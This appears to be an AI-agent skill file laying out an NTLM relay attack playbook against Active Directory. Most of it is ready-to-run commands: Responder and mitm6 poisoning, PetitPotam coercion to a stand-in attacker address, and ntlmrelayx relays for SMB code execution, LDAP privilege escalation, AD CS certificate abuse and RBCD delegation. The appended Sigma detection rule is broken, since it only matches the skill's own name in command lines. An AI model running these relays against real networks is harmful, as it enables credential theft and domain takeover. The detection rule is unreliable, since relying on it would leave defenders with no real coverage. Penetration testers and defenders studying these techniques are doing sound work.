<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: exploiting-ntlm-relay-attacks
description: >-
  Execute and detect NTLM relay attacks using Impacket ntlmrelayx, Responder,
  and mitm6 to capture and relay NTLM authentication for credential theft,
  code execution, and LDAP-based privilege escalation.
domain: cybersecurity
subdomain: active-directory-security
tags:
  - ntlm-relay
  - responder
  - ntlmrelayx
  - mitm6
  - smb-signing
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1557.001", "T1187"]
  frameworks: ["MITRE ATT&CK"]
  tools: ["impacket", "responder", "mitm6", "crackmapexec"]
---

# Exploiting NTLM Relay Attacks

## Overview

NTLM relay captures authentication attempts and forwards them to target services
that accept NTLM. Attacks work when SMB signing is not required, LDAP signing
is not enforced, or EPA (Extended Protection for Authentication) is absent.
Combined with coercion techniques (Responder, mitm6, PetitPotam), NTLM relay
enables credential theft and privilege escalation.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `impacket (ntlmrelayx)` | Security tooling |
| `Responder` | Security tooling |
| `mitm6` | Security tooling |
| `crackmapexec` | Security tooling |
| Network position for MITM (same broadcast domain or DNS manipulation) | Environment requirement |
| Target systems without SMB signing or LDAP signing enforced | Environment requirement |

## Workflow

### Step 1: Identify Relay Targets

```bash
# Find hosts without SMB signing required
crackmapexec smb 10.0.0.0/24 --gen-relay-list relay_targets.txt

# Check LDAP signing requirements
crackmapexec ldap 10.0.0.1 -u jsmith -p 'P@ssw0rd' -d corp.local -M ldap-checker

# Check for web enrollment endpoints (AD CS ESC8)
crackmapexec http 10.0.0.0/24 -M web_enrollment

node scripts/agent.js enumerate --network 10.0.0.0/24 --dc-ip 10.0.0.1
```

### Step 2: Capture NTLM Authentication

```bash
# Start Responder (poisoning LLMNR/NBT-NS/mDNS)
sudo responder -I eth0 -wFb

# IPv6 DNS takeover with mitm6
sudo mitm6 -d corp.local -i eth0

# Coerce DC authentication (PetitPotam)
python3 PetitPotam.py -d corp.local -u jsmith -p 'P@ssw0rd' \
  attacker_ip dc01.corp.local
```

### Step 3: Relay to Target Services

```bash
# Relay to SMB for code execution
impacket-ntlmrelayx -tf relay_targets.txt -smb2support \
  -c "whoami > C:\relay_proof.txt"

# Relay to LDAP for ACL abuse (add user to DA)
impacket-ntlmrelayx -t ldaps://10.0.0.1 --escalate-user jsmith

# Relay to AD CS web enrollment (ESC8)
impacket-ntlmrelayx -t http://ca01.corp.local/certsrv/certfnsh.asp \
  --adcs --template DomainController

# Relay to create machine account (RBCD)
impacket-ntlmrelayx -t ldaps://10.0.0.1 --delegate-access \
  --escalate-user jsmith
```

### Step 4: Analyze Results

```bash
node scripts/agent.js analyze --network 10.0.0.0/24 --dc-ip 10.0.0.1
node scripts/agent.js report --format json
```

## Verification

- [ ] SMB signing status mapped across all hosts
- [ ] LDAP signing and channel binding requirements checked
- [ ] Web enrollment endpoints identified
- [ ] Relay attacks validated on authorized targets
- [ ] Mitigations: enforce SMB signing, LDAP signing, EPA

## Detection Opportunities

- NTLM authentication from unexpected source IPs
- Event 4624 type 3 with mismatched source workstation
- LLMNR/NBT-NS query responses from non-DNS servers
- SMB connections from hosts that don't normally communicate

```yaml
title: Exploiting Ntlm Relay Attacks Detection
id: 16cd1861-5099-4ee3-bef5-df04007e8d3c
status: experimental
description: Detects suspicious activity related to exploiting ntlm relay attacks techniques in active directory security context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*exploiting*ntlm*"
  condition: selection
level: medium
tags:
  - attack.t1557.001
  - attack.t1187
  - attack.credential_access
falsepositives:
  - Authorized Active Directory administration using approved management tools
```

## References

- [Impacket ntlmrelayx](https://github.com/fortra/impacket/blob/main/examples/ntlmrelayx.py)
- [Responder](https://github.com/lgandx/Responder) — LLMNR/NBT-NS/mDNS poisoner
- [mitm6](https://github.com/dirkjanm/mitm6) — IPv6 DNS takeover
- [PetitPotam](https://github.com/topotam/PetitPotam) — NTLM authentication coercion
